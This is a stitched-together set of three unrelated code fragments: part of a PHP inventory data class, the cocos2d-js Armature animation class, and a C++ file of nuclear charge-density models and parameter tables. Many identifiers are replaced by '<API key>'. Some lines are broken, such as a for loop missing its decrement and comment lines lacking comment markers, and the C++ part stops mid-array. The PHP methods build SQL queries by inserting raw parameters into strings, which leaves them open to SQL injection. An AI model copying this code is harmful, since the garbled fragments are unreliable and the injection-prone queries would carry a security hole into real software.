public static function <API key>($sell_id){
$sql = "select * from ".self::$tablename." where sell_id=$sell_id order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function <API key>($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function <API key>($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and is_oficial=0 order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function getOutputQ($product_id,$cut_id){
$q=0;
$operations = self::<API key>($product_id,$cut_id);
$input_id = OperationTypeData::getByName("entrada")->id;
$output_id = OperationTypeData::getByName("salida")->id;
foreach($operations as $operation){
if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); }
}
// print_r($data);
return $q;
}
public static function getOutputQYesF($product_id,$cut_id){
$q=0;
$operations = self::<API key>($product_id,$cut_id);
$input_id = OperationTypeData::getByName("entrada")->id;
$output_id = OperationTypeData::getByName("salida")->id;
foreach($operations as $operation){
if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); }
}
// print_r($data);
return $q;
}
public static function getOutputQNoF($product_id,$cut_id){
$q=0;
$operations = self::<API key>($product_id,$cut_id);
$input_id = OperationTypeData::getByName("entrada")->id;
$output_id = OperationTypeData::getByName("salida")->id;
foreach($operations as $operation){
if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); }
}
// print_r($data);
return $q;
}
public static function <API key>($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=2 order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function <API key>($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=2 order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function <API key>($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and is_oficial=0 and operation_type_id=2 order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function getInputQ($product_id,$cut_id){
$q=0;
$operations = self::<API key>($product_id,$cut_id);
$input_id = OperationTypeData::getByName("entrada")->id;
$output_id = OperationTypeData::getByName("salida")->id;
foreach($operations as $operation){
if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); }
}
// print_r($data);
return $q;
}
public static function getInputQYesF($product_id,$cut_id){
$q=0;
$operations = self::<API key>($product_id,$cut_id);
$input_id = OperationTypeData::getByName("entrada")->id;
$output_id = OperationTypeData::getByName("salida")->id;
foreach($operations as $operation){
if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); }
}
// print_r($data);
return $q;
}
public static function getInputQNoF($product_id,$cut_id){
$q=0;
$operations = self::<API key>($product_id,$cut_id);
$input_id = OperationTypeData::getByName("entrada")->id;
$output_id = OperationTypeData::getByName("salida")->id;
foreach($operations as $operation){
if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); }
}
// print_r($data);
return $q;
}
public static function <API key>($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=1 order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function <API key>($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and operation_type_id=1 order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function <API key>($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and is_oficial=0 and operation_type_id=1 order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
}
?>
|
/**
* The main class of Armature, it plays armature animation, manages and updates bones' state.
* @class
* @extends ccs.Node
*
* @property {ccs.Bone} parentBone - The parent bone of the armature node
* @property {ccs.ArmatureAnimation} animation - The animation
* @property {ccs.ArmatureData} armatureData - The armature data
* @property {String} name - The name of the armature
* @property {cc.SpriteBatchNode} batchNode - The batch node of the armature
* @property {Number} version - The version
* @property {Object} body - The body of the armature
* @property {ccs.ColliderFilter} colliderFilter - <@writeonly> The collider filter of the armature
*/
ccs.Armature = ccs.Node.extend(/** @lends ccs.Armature# */{
animation: null,
armatureData: null,
batchNode: null,
_parentBone: null,
_boneDic: null,
_topBoneList: null,
_armatureIndexDic: null,
_offsetPoint: null,
version: 0,
<API key>: true,
_body: null,
_blendFunc: null,
_className: "Armature",
/**
* Create a armature node.
* Constructor of ccs.Armature
* @param {String} name
* @param {ccs.Bone} parentBone
* @example
* var armature = new ccs.Armature();
*/
ctor: function (name, parentBone) {
cc.Node.prototype.ctor.call(this);
this._name = "";
this._topBoneList = [];
this._armatureIndexDic = {};
this._offsetPoint = cc.p(0, 0);
this.<API key> = true;
this._blendFunc = {src: cc.BLEND_SRC, dst: cc.BLEND_DST};
name && ccs.Armature.prototype.init.call(this, name, parentBone);
// Hack way to avoid RendererWebGL from skipping Armature
this._texture = {};
},
/**
* Initializes a CCArmature with the specified name and CCBone
* @param {String} [name]
* @param {ccs.Bone} [parentBone]
* @return {Boolean}
*/
init: function (name, parentBone) {
if (parentBone)
this._parentBone = parentBone;
this.removeAllChildren();
this.animation = new ccs.ArmatureAnimation();
this.animation.init(this);
this._boneDic = {};
this._topBoneList.length = 0;
//this._name = name || "";
var armatureDataManager = ccs.armatureDataManager;
var animationData;
if (name !== "") {
//animationData
animationData = armatureDataManager.getAnimationData(name);
cc.assert(animationData, "AnimationData not exist!");
this.animation.setAnimationData(animationData);
//armatureData
var armatureData = armatureDataManager.getArmatureData(name);
cc.assert(armatureData, "ArmatureData not exist!");
this.armatureData = armatureData;
//boneDataDic
var boneDataDic = armatureData.getBoneDataDic();
for (var key in boneDataDic) {
var bone = this.createBone(String(key));
//! init bone's Tween to 1st movement's 1st frame
do {
var movData = animationData.getMovement(animationData.movementNames[0]);
if (!movData) break;
var _movBoneData = movData.getMovementBoneData(bone.getName());
if (!_movBoneData || _movBoneData.frameList.length <= 0) break;
var frameData = _movBoneData.getFrameData(0);
if (!frameData) break;
bone.getTweenData().copy(frameData);
bone.<API key>(frameData.displayIndex, false);
} while (0);
}
this.update(0);
this.updateOffsetPoint();
} else {
name = "new_armature";
this.armatureData = new ccs.ArmatureData();
this.armatureData.name = name;
animationData = new ccs.AnimationData();
animationData.name = name;
armatureDataManager.addArmatureData(name, this.armatureData);
armatureDataManager.addAnimationData(name, animationData);
this.animation.setAnimationData(animationData);
}
this._renderCmd.initShaderCache();
this.<API key>(true);
this.<API key>(true);
return true;
},
visit: function (parent) {
var cmd = this._renderCmd, parentCmd = parent ? parent._renderCmd : null;
// quick return if not visible
if (!this._visible) {
cmd._propagateFlagsDown(parentCmd);
return;
}
cmd.visit(parentCmd);
cmd._dirtyFlag = 0;
},
addChild: function (child, localZOrder, tag) {
if (child instanceof ccui.Widget) {
cc.log("Armature doesn't support to add Widget as its child, it will be fix soon.");
return;
}
cc.Node.prototype.addChild.call(this, child, localZOrder, tag);
},
/**
* create a bone with name
* @param {String} boneName
* @return {ccs.Bone}
*/
createBone: function (boneName) {
var existedBone = this.getBone(boneName);
if (existedBone)
return existedBone;
var boneData = this.armatureData.getBoneData(boneName);
var parentName = boneData.parentName;
var bone = null;
if (parentName) {
this.createBone(parentName);
bone = new ccs.Bone(boneName);
this.addBone(bone, parentName);
} else {
bone = new ccs.Bone(boneName);
this.addBone(bone, "");
}
bone.setBoneData(boneData);
bone.getDisplayManager().<API key>(-1, false);
return bone;
},
/**
* Add a Bone to this Armature
* @param {ccs.Bone} bone The Bone you want to add to Armature
* @param {String} parentName The parent Bone's name you want to add to. If it's null, then set Armature to its parent
*/
addBone: function (bone, parentName) {
cc.assert(bone, "Argument must be non-nil");
var locBoneDic = this._boneDic;
if (bone.getName())
cc.assert(!locBoneDic[bone.getName()], "bone already added. It can't be added again");
if (parentName) {
var boneParent = locBoneDic[parentName];
if (boneParent)
boneParent.addChildBone(bone);
else
this._topBoneList.push(bone);
} else
this._topBoneList.push(bone);
bone.setArmature(this);
locBoneDic[bone.getName()] = bone;
this.addChild(bone);
},
/**
* Remove a bone with the specified name. If recursion it will also remove child Bone recursively.
* @param {ccs.Bone} bone The bone you want to remove
* @param {Boolean} recursion Determine whether remove the bone's child recursion.
*/
removeBone: function (bone, recursion) {
cc.assert(bone, "bone must be added to the bone dictionary!");
bone.setArmature(null);
bone.removeFromParent(recursion);
cc.arrayRemoveObject(this._topBoneList, bone);
delete this._boneDic[bone.getName()];
this.removeChild(bone, true);
},
/**
* Gets a bone with the specified name
* @param {String} name The bone's name you want to get
* @return {ccs.Bone}
*/
getBone: function (name) {
return this._boneDic[name];
},
/**
* Change a bone's parent with the specified parent name.
* @param {ccs.Bone} bone The bone you want to change parent
* @param {String} parentName The new parent's name
*/
changeBoneParent: function (bone, parentName) {
cc.assert(bone, "bone must be added to the bone dictionary!");
var parentBone = bone.getParentBone();
if (parentBone) {
cc.arrayRemoveObject(parentBone.getChildren(), bone);
bone.setParentBone(null);
}
if (parentName) {
var boneParent = this._boneDic[parentName];
if (boneParent) {
boneParent.addChildBone(bone);
cc.arrayRemoveObject(this._topBoneList, bone);
} else
this._topBoneList.push(bone);
}
},
/**
* Get CCArmature's bone dictionary
* @return {Object} Armature's bone dictionary
*/
getBoneDic: function () {
return this._boneDic;
},
/**
* Set contentSize and Calculate anchor point.
*/
updateOffsetPoint: function () {
// Set contentsize and Calculate anchor point.
var rect = this.getBoundingBox();
this.setContentSize(rect);
var locOffsetPoint = this._offsetPoint;
locOffsetPoint.x = -rect.x;
locOffsetPoint.y = -rect.y;
if (rect.width !== 0 && rect.height !== 0)
this.setAnchorPoint(locOffsetPoint.x / rect.width, locOffsetPoint.y / rect.height);
},
getOffsetPoints: function () {
return {x: this._offsetPoint.x, y: this._offsetPoint.y};
},
/**
* Sets animation to this Armature
* @param {ccs.ArmatureAnimation} animation
*/
setAnimation: function (animation) {
this.animation = animation;
},
/**
* Gets the animation of this Armature.
* @return {ccs.ArmatureAnimation}
*/
getAnimation: function () {
return this.animation;
},
/**
* <API key> getter
* @returns {Boolean}
*/
<API key>: function () {
return this.<API key>;
},
/**
* The update callback of ccs.Armature, it updates animation's state and updates bone's state.
* @override
* @param {Number} dt
*/
update: function (dt) {
this.animation.update(dt);
var locTopBoneList = this._topBoneList;
for (var i = 0; i < locTopBoneList.length; i++)
locTopBoneList[i].update(dt);
this.<API key> = false;
},
/**
* The callback when ccs.Armature enter stage.
* @override
*/
onEnter: function () {
cc.Node.prototype.onEnter.call(this);
this.scheduleUpdate();
},
/**
* The callback when ccs.Armature exit stage.
* @override
*/
onExit: function () {
cc.Node.prototype.onExit.call(this);
this.unscheduleUpdate();
},
/**
* This boundingBox will calculate all bones' boundingBox every time
* @returns {cc.Rect}
*/
getBoundingBox: function () {
var minX, minY, maxX, maxY = 0;
var first = true;
var boundingBox = cc.rect(0, 0, 0, 0), locChildren = this._children;
var len = locChildren.length;
for (var i = 0; i < len; i++) {
var bone = locChildren[i];
if (bone) {
var r = bone.getDisplayManager().getBoundingBox();
if (r.x === 0 && r.y === 0 && r.width === 0 && r.height === 0)
continue;
if (first) {
minX = r.x;
minY = r.y;
maxX = r.x + r.width;
maxY = r.y + r.height;
first = false;
} else {
minX = r.x < boundingBox.x ? r.x : boundingBox.x;
minY = r.y < boundingBox.y ? r.y : boundingBox.y;
maxX = r.x + r.width > boundingBox.x + boundingBox.width ?
r.x + r.width : boundingBox.x + boundingBox.width;
maxY = r.y + r.height > boundingBox.y + boundingBox.height ?
r.y + r.height : boundingBox.y + boundingBox.height;
}
boundingBox.x = minX;
boundingBox.y = minY;
boundingBox.width = maxX - minX;
boundingBox.height = maxY - minY;
}
}
return cc.<API key>(boundingBox, this.<API key>());
},
/**
* when bone contain the point ,then return it.
* @param {Number} x
* @param {Number} y
* @returns {ccs.Bone}
*/
getBoneAtPoint: function (x, y) {
var locChildren = this._children;
for (var i = locChildren.length - 1; i >= 0; i
var child = locChildren[i];
if (child instanceof ccs.Bone && child.getDisplayManager().containPoint(x, y))
return child;
}
return null;
},
/**
* Sets parent bone of this Armature
* @param {ccs.Bone} parentBone
*/
setParentBone: function (parentBone) {
this._parentBone = parentBone;
var locBoneDic = this._boneDic;
for (var key in locBoneDic) {
locBoneDic[key].setArmature(this);
}
},
/**
* Return parent bone of ccs.Armature.
* @returns {ccs.Bone}
*/
getParentBone: function () {
return this._parentBone;
},
/**
* draw contour
*/
drawContour: function () {
cc._drawingUtil.setDrawColor(255, 255, 255, 255);
cc._drawingUtil.setLineWidth(1);
var locBoneDic = this._boneDic;
for (var key in locBoneDic) {
var bone = locBoneDic[key];
var detector = bone.getColliderDetector();
if (!detector)
continue;
var bodyList = detector.getColliderBodyList();
for (var i = 0; i < bodyList.length; i++) {
var body = bodyList[i];
var vertexList = body.<API key>();
cc._drawingUtil.drawPoly(vertexList, vertexList.length, true);
}
}
},
setBody: function (body) {
if (this._body === body)
return;
this._body = body;
this._body.data = this;
var child, displayObject, locChildren = this._children;
for (var i = 0; i < locChildren.length; i++) {
child = locChildren[i];
if (child instanceof ccs.Bone) {
var displayList = child.getDisplayManager().<API key>();
for (var j = 0; j < displayList.length; j++) {
displayObject = displayList[j];
var detector = displayObject.getColliderDetector();
if (detector)
detector.setBody(this._body);
}
}
}
},
getShapeList: function () {
if (this._body)
return this._body.shapeList;
return null;
},
getBody: function () {
return this._body;
},
/**
* Sets the blendFunc to ccs.Armature
* @param {cc.BlendFunc|Number} blendFunc
* @param {Number} [dst]
*/
setBlendFunc: function (blendFunc, dst) {
if (dst === undefined) {
this._blendFunc.src = blendFunc.src;
this._blendFunc.dst = blendFunc.dst;
} else {
this._blendFunc.src = blendFunc;
this._blendFunc.dst = dst;
}
},
/**
* Returns the blendFunc of ccs.Armature
* @returns {cc.BlendFunc}
*/
getBlendFunc: function () {
return new cc.BlendFunc(this._blendFunc.src, this._blendFunc.dst);
},
/**
* set collider filter
* @param {ccs.ColliderFilter} filter
*/
setColliderFilter: function (filter) {
var locBoneDic = this._boneDic;
for (var key in locBoneDic)
locBoneDic[key].setColliderFilter(filter);
},
/**
* Returns the armatureData of ccs.Armature
* @return {ccs.ArmatureData}
*/
getArmatureData: function () {
return this.armatureData;
},
/**
* Sets armatureData to this Armature
* @param {ccs.ArmatureData} armatureData
*/
setArmatureData: function (armatureData) {
this.armatureData = armatureData;
},
getBatchNode: function () {
return this.batchNode;
},
setBatchNode: function (batchNode) {
this.batchNode = batchNode;
},
/**
* version getter
* @returns {Number}
*/
getVersion: function () {
return this.version;
},
/**
* version setter
* @param {Number} version
*/
setVersion: function (version) {
this.version = version;
},
_createRenderCmd: function () {
if (cc._renderType === cc.game.RENDER_TYPE_CANVAS)
return new ccs.Armature.CanvasRenderCmd(this);
else
return new ccs.Armature.WebGLRenderCmd(this);
}
});
var _p = ccs.Armature.prototype;
/** @expose */
_p.parentBone;
cc.defineGetterSetter(_p, "parentBone", _p.getParentBone, _p.setParentBone);
/** @expose */
_p.body;
cc.defineGetterSetter(_p, "body", _p.getBody, _p.setBody);
/** @expose */
_p.colliderFilter;
cc.defineGetterSetter(_p, "colliderFilter", null, _p.setColliderFilter);
_p = null;
/**
* Allocates an armature, and use the ArmatureData named name in ArmatureDataManager to initializes the armature.
* @param {String} [name] Bone name
* @param {ccs.Bone} [parentBone] the parent bone
* @return {ccs.Armature}
* @deprecated since v3.1, please use new construction instead
*/
ccs.Armature.create = function (name, parentBone) {
return new ccs.Armature(name, parentBone);
};
|
#include "jednostki.h"
#include "generatormt.h"
#include "nucleus_data.h"
#include "calg5.h"
#include "util2.h"
using namespace std;
template < class T >
static inline T pow2 (T x)
{
return x * x;
}
static inline double bessj0(double x)
{
if(fabs(x)<0.000001)
return cos(x);
else
return sin(x)/x;
}
static double MI2(double rms2, double q,double r)
{
double qr=q*r;
double r2=r*r;
double cosqr=cos(qr);
double sinqr=sin(qr);
return (((((cosqr*qr/6-sinqr/2)*qr-cosqr)*qr+sinqr)*rms2/r2 + sinqr)/r - cosqr*q)/r2;
}
static double MI(double rms2, double q,double r)
{
double qr=q*r;
double r2=r*r;
double r3=r2*r;
double cosqr=cos(qr);
double sinqr=sin(qr);
return (-cosqr*qr+sinqr)/r3
// + (((cosqr*qr/6-sinqr/2)*qr -cosqr)*qr+sinqr)*rms2/r2/r3;
+(cosqr*qr*qr-2*cosqr-2*sinqr*qr)/r2/r2/6;
}
static double prfMI(double t[3], double r)
{
static double const twoPi2=2*Pi*Pi;
if(r==0)
r=0.00001;
double rms2=t[0]*t[0];
return max(0.0, (MI2(rms2,200,r)-MI2(rms2,0.01,r))/twoPi2);
}
density profile for the HO model
static double prfHO(double t[3], double r)
{
double x=r/t[0],x2=x*x;
return t[2]*(1+t[1]*x2)*exp(-x2);
}
density profile for the MHO model
static double prfMHO(double t[3], double r)
{
double x=r/t[0];
return (t[2]*(1+t[1]*x*x)*exp(-x*x));
}
density profile for the 2pF model
static double prf2pF(double t[3], double r)
{
return t[2]/(1.+exp((r-t[0])/t[1]));
}
density profile for the 3pF model
static double prf3pF(double t[4], double r)
{
double x=r/t[0];
return t[3]*
(1+t[2]*x*x)
/(1+exp((r-t[0])/t[1]));
}
density profile for the 3pG model
static double prf3pG(double t[4], double r)
{
double x=r/t[0], x2=x*x;
return max(0.,t[3]*(1+t[2]*x2)/(1+exp((r*r-t[0]*t[0])/(t[1]*t[1]))));
}
density profile for the FB model
static double prfFB(double fb[], double r)
{
if(r>fb[0]) // fb[0]- radius
return 0;
double suma=0;
double x=Pi*r/fb[0];
for(int j=1; j<=17 and fb[j] ; j++)
{
suma+=fb[j]*bessj0(j*x);
}
return max(0.,suma);
}
density profile for the SOG model
static double prfSOG(double sog[],double r)
{
static const double twoPi32=2*Pi*sqrt(Pi);
//double rms=sog[0];
double g=sog[1]/sqrt(1.5);
double coef=twoPi32*g*g*g;
double suma=0;
for(int j=2; j<25 ; j+=2)
{
double Ri=sog[j];
double Qi=sog[j+1];
double Ai=Qi/(coef*(1+2*pow2(Ri/g)));
suma+=Ai*(exp(-pow2((r-Ri)/g))+exp(-pow2((r+Ri)/g)));
}
return max(0.,suma);
}
static double prfUG(double ug[],double r)
{
double xi=1.5/ug[0]/ug[0];
return ug[1]*exp( -r*r*xi);
}
// Uniform Gaussian model
static double ug_11_12 [2]= {2.946, 0.296785};
// Harmonic-oscillator model (HO): a, alfa, rho0(calculated)
static double ho_3_4 [3]= {1.772 , 0.327, 0.151583};
static double ho_4_5 [3]= {1.776 , 0.631, 0.148229};
static double ho_5_5 [3]= {1.718 , 0.837, 0.157023};
static double ho_5_6 [3]= {1.698 , 0.811, 0.182048};
static double ho_8_8 [3]= {1.83314, 1.544, 0.140667};
static double ho_8_9 [3]= {1.79818, 1.498, 0.161712};
static double ho_8_10[3]= {1.84114, 1.513, 0.158419};
// Modified harmonic-oscillator model (MHO): a, alfa, rho0(calculated)
static double mho_6_7[3]= {1.6359, 1.40316, 0.171761};
static double mho_6_8[3]= {1.734 , 1.3812 , 0.156987};
static double mi_1_0[4]= {0.86212 , 0.36 , 1.18 ,1};
static double mi_1_1[4]= {2.1166 , 0.21 , 0.77 ,1};
static double mi_2_1[4]= {1.976 , 0.45 , 1.92 ,1};
static double mi_2_2[4]= {1.67114 , 0.51 , 2.01 ,1};
// Two-parameter Fermi model: c=a , z=alfa, rho0(calculated)
static double _2pF_9_10 [3]= {2.58 ,0.567 ,0.178781};
static double _2pF_10_10[3]= {2.740 ,0.572 ,0.162248};
static double _2pF_10_12[3]= {2.782 ,0.549 ,0.176167};
static double _2pF_12_12[3]= {2.98 ,0.55132,0.161818};
static double _2pF_12_14[3]= {3.05 ,0.523 ,0.16955 };
static double _2pF_13_14[3]= {2.84 ,0.569 ,0.201502};
static double _2pF_18_18[3]= {3.54 ,0.507 ,0.161114};
static double _2pF_18_22[3]= {3.53 ,0.542 ,0.176112};
static double _2pF_22_26[3]= {3.84315,0.5885 ,0.163935};
static double _2pF_23_28[3]= {3.94 ,0.505 ,0.17129 };
static double _2pF_24_26[3]= {3.941 ,0.5665 ,0.161978};
static double _2pF_24_28[3]= {4.01015,0.5785 ,0.159698};
static double _2pF_24_29[3]= {4.000 ,0.557 ,0.165941};
static double _2pF_25_30[3]= {3.8912 ,0.567 ,0.184036};
static double _2pF_26_28[3]= {4.074 ,0.536 ,0.162833};
static double _2pF_26_30[3]= {4.111 ,0.558 ,0.162816};
static double _2pF_26_32[3]= {4.027 ,0.576 ,0.176406};
static double _2pF_27_32[3]= {4.158 ,0.575 ,0.164824};
static double _2pF_29_34[3]= {4.218 ,0.596 ,0.167424};
static double _2pF_29_36[3]= {4.252 ,0.589 ,0.169715};
static double _2pF_30_34[3]= {4.285 ,0.584 ,0.164109};
static double _2pF_30_36[3]= {4.340 ,0.559 ,0.165627};
static double _2pF_30_38[3]= {4.393 ,0.544 ,0.166314};
static double _2pF_30_40[3]= {4.426 ,0.551 ,0.167171};
static double _2pF_32_38[3]= {4.442 ,0.5857 ,0.162741};
static double _2pF_32_40[3]= {4.452 ,0.5737 ,0.167365};
static double _2pF_38_50[3]= {4.83 ,0.49611,0.168863};
static double _2pF_39_50[3]= {4.76 ,0.57129,0.172486};
static double _2pF_41_52[3]= {4.875 ,0.57329,0.168620};
static double _2pF_79_118[3]={6.386 ,0.53527, 0.168879};
static double _2pF_Th232a[3]={6.7915 ,0.57115, 0.165272};
static double _2pF_Th232b[3]={6.851 ,0.518 , 0.163042};
static double _2pF_U238a[3]= {6.8054 ,0.60516, 0.167221};
static double _2pF_U238b[3]= {6.874 ,0.556 , 0.164318};
// Three-parameter Fermi model: c=a , z=alfa, w, rho0 (calculated)
static double _3pF_7_7[4]= {2.57000 ,0.5052 ,-0.18070 ,0.0127921 };
static double _3pF_7_8[4]= {2.33430 ,0.4985 , 0.13930 ,0.011046 };
static double _3pF_12_12a[4]={3.10833 ,0.6079 ,-0.16330 ,0.00707021};
static double _3pF_12_12b[4]={3.19234 ,0.6046 ,-0.24920 ,0.00742766};
static double _3pF_12_13[4]= {3.22500 ,0.5840 ,-0.23634 ,0.00714492};
static double _3pF_14_14[4]= {3.34090 ,0.5803 ,-0.23390 ,0.00646414};
static double _3pF_14_15[4]= {3.33812 ,0.5472 ,-0.20312 ,0.00631729};
static double _3pF_14_16[4]= {3.25221 ,0.5532 ,-0.07822 ,0.00585623};
static double _3pF_15_16[4]= {3.36925 ,0.5826 ,-0.17324 ,0.00584405};
static double _3pF_17_18[4]= {3.47632 ,0.5995 ,-0.102 ,0.00489787};
static double _3pF_17_20[4]= {3.55427 ,0.5885 ,-0.132 ,0.0048052 };
static double _3pF_19_20[4]= {3.74325 ,0.5856 ,-0.2012 ,0.00451813};
static double _3pF_20_20[4]= {3.76623 ,0.5865 ,-0.16123 ,0.00424562};
static double _3pF_20_28[4]= {3.7369 ,0.5245 ,-0.030 ,0.00393303};
static double _3pF_28_30[4]= {4.3092 ,0.5169 ,-0.1308 ,0.00291728};
static double _3pF_28_32[4]= {4.4891 ,0.5369 ,-0.2668 ,0.00293736};
static double _3pF_28_33[4]= {4.4024 ,0.5401 ,-0.1983 ,0.00290083};
static double _3pF_28_34[4]= {4.4425 ,0.5386 ,-0.2090 ,0.0028575 };
static double _3pF_28_36[4]= {4.5211 ,0.5278 ,-0.2284 ,0.00277699};
// Three-parameter Gaussian model: c=a, z=alfa, w , rho0 (calculated)
static double _3pG_16_16[4]= {2.549 ,2.1911 ,0.16112 ,0.00700992};
static double _3pG_40_50[4]= {4.434 ,2.5283 ,0.35025 ,0.00184643};
static double _3pG_40_51[4]= {4.32520 ,2.5813 ,0.43325 ,0.00181638};
static double _3pG_40_52[4]= {4.45520 ,2.5503 ,0.33425 ,0.00183439};
static double _3pG_40_54[4]= {4.49420 ,2.5853 ,0.29625 ,0.00182715};
static double _3pG_40_56[4]= {4.50320 ,2.6023 ,0.34125 ,0.00175563};
static double _3pG_42_50[4]= {4.6110 ,2.527 ,0.1911 ,0.0018786 };
//H3(1,2)Be84
static double fb_1_2[18]={3.5, 0.25182e-1, 0.34215e-1, 0.15257e-1,0,0,
0,0,0,0,0,
0,0,0,0,0,
0,0};
//He3(2,1)Re84bs
static double fb_2_1[18]={5, 0.20020e-1, 0.41934e-1, 0.36254e-1, 0.17941e-1, 0.46608e-2,
0.46834e-2, 0.52042e-2, 0.38280e-2, 0.25661e-2, 0.14182e-2,
0.61390e-3, 0.22929e-3};
//C12(6,6)Ca80
static double fb_6_6a[18]={8.0, 0.15721e-1, 0.38732e-1, 0.36808e-1, 0.14671e-1,-0.43277e-2,
-0.97752e-2,-0.68908e-2,-0.27631e-2,-0.63568e-3, 0.71809e-5,
0.18441e-3, 0.75066e-4, 0.51069e-4, 0.14308e-4, 0.23170e-5,
0.68465e-6, 0};
//C12(6,6)Re82
static double fb_6_6b[18]={8.0, 0.15737e-1, 0.38897e-1, 0.37085e-1, 0.14795e-1,-0.44831e-2,
-0.10057e-1,-0.68696e-2,-0.28813e-2,-0.77229e-3, 0.66908e-4,
0.10636e-3,-0.36864e-4,-0.50135e-5, 0.94550e-5,-0.47687e-5,
0, 0};
//N15(7,8)Vr86
static double fb_7_8[18]={7.0, 0.25491e-1, 0.50618e-1, 0.29822e-1, -0.55196e-2, -0.15913e-1,
-0.76184e-2,-0.23992e-2,-0.47940e-3, 0, 0,
0, 0, 0, 0, 0,
0, 0};
//O16(8,8)La82
static double fb_8_8[18]= {8.0, 0.20238e-1, 0.44793e-1, 0.33533e-1, 0.35030e-2,-0.12293e-1,
